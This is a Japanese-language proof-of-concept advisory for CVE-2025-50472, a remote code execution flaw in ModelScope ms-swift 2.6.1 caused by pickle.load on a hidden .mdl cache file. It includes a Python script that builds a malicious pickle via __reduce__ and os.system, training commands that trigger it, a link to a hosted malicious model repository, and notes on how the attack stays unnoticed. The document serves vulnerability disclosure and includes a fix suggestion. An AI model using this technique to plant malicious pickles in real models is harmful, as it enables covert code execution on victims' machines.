
CVE-2025-50472の概念実証エクスプロイト:ModelScope ms-swiftのModelFileSystemCacheにおける、悪意のある.mdlファイルを介したデシリアライゼーションRCE脆弱性。
テスト目的で、悪意のある .mdl ファイルを含むコードリポジトリを ModelScope にアップロードしました。テスト中に直接使用できます。リンクは次のとおりです: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files
.mdl ファイルには悪意のあるコードが埋め込まれていますが、ModelScope にはセキュリティ警告は表示されません。
PoC コード:
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
--model_type qwen1half-0_5b-chat \
--model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
--dataset blossom-math-zh \
--num_train_epochs 5 \
--sft_type lora \
--output_dir output \
--eval_steps 200
問題を再現する手順は次のとおりです:
モデルがダウンロードされます
悪意のあるコードが実行された後も、トレーニングは中断なく正常に進行します
悪意のあるペイロードが正常に実行されました
modelscope/ms-swift ライブラリのバージョン 2.6.1 以下は、ModelFileSystemCache() クラスの load_model_meta() 関数における信頼できないデータのデシリアライズにより、任意のコード実行が可能な脆弱性があります。攻撃者は、悪意のあるシリアライズされた .mdl ペイロードを作成し、潜在的に信頼できないソースからのデータに対して pickle.load() が使用されることを悪用して、任意のコードやコマンドを実行できます。この脆弱性により、通常のトレーニングプロセス中に一見無害なチェックポイントを読み込ませるように被害者を欺くことで、リモートコード実行 (RCE) が可能となり、攻撃者は対象のマシン上で任意のコードを実行できます。
ペイロードファイルは隠しファイルであるため、被害者が改ざんを検出することは困難です。さらに重要なことに、モデルトレーニングプロセス中、.mdl ファイルがロードされて任意のコードが実行された後も、通常のトレーニングプロセスには影響がなく、ユーザーは任意のコード実行に気付かないままとなります。
脆弱性の詳細な説明: この脆弱性は、信頼できないデータの安全でないデシリアライズに起因します。スクリプトは隠しキャッシュファイルをロードするために pickle.load を使用しており、コード実行の脆弱性があります。
入力から脆弱性状態に至るコードフロー:
~/.cache/modelscope/hub/xx/xx に保存され、モデルディレクトリには .mdl キャッシュファイルが存在し、モデル名などの基本情報が含まれていました。caching.py スクリプトが .mdl ファイルをデシリアライズする際に、ファイルに埋め込まれた悪意のあるコードが実行されました。インジェクションポイント: 脆弱性は pickle.load が呼び出される箇所で発生します。
GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141
修正提案: 設定ファイル(モデルファイルではなく)を扱う場合は、yaml.safe_load(yaml_file) や json.load など、より安全なファイル解析方法を採用し、任意のコード実行のリスクを軽減することを推奨します。
exploit.py を実行し、被害者のシステムにディレクトリを作成する悪意のあるキャッシュファイル .mdl を作成します:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('mkdir HACKED',))
# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
f.write(data)
モデルディレクトリ内の元の .mdl ファイルを、上記で生成した悪意のあるファイルに置き換えます。
トレーニング中に model_id_or_path パラメータがローカルモデルディレクトリを参照するように指定されている場合、指定されたパスにある改ざんされた .mdl ファイルによりリモートコード実行 (RCE) が発生する可能性があります。
重要なことに、このような改変は通常のトレーニングワークフローを妨げないため、RCE 攻撃はステルス性が高く、ユーザーが検出するのが困難です。
CUDA_VISIBLE_DEVICES=0 swift sft --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat --dataset blossom-math-zh --num_train_epochs 5 --sft_type lora --output_dir output --eval_steps 200
Hao Fan(凡浩) and Yu Rong(戎誉)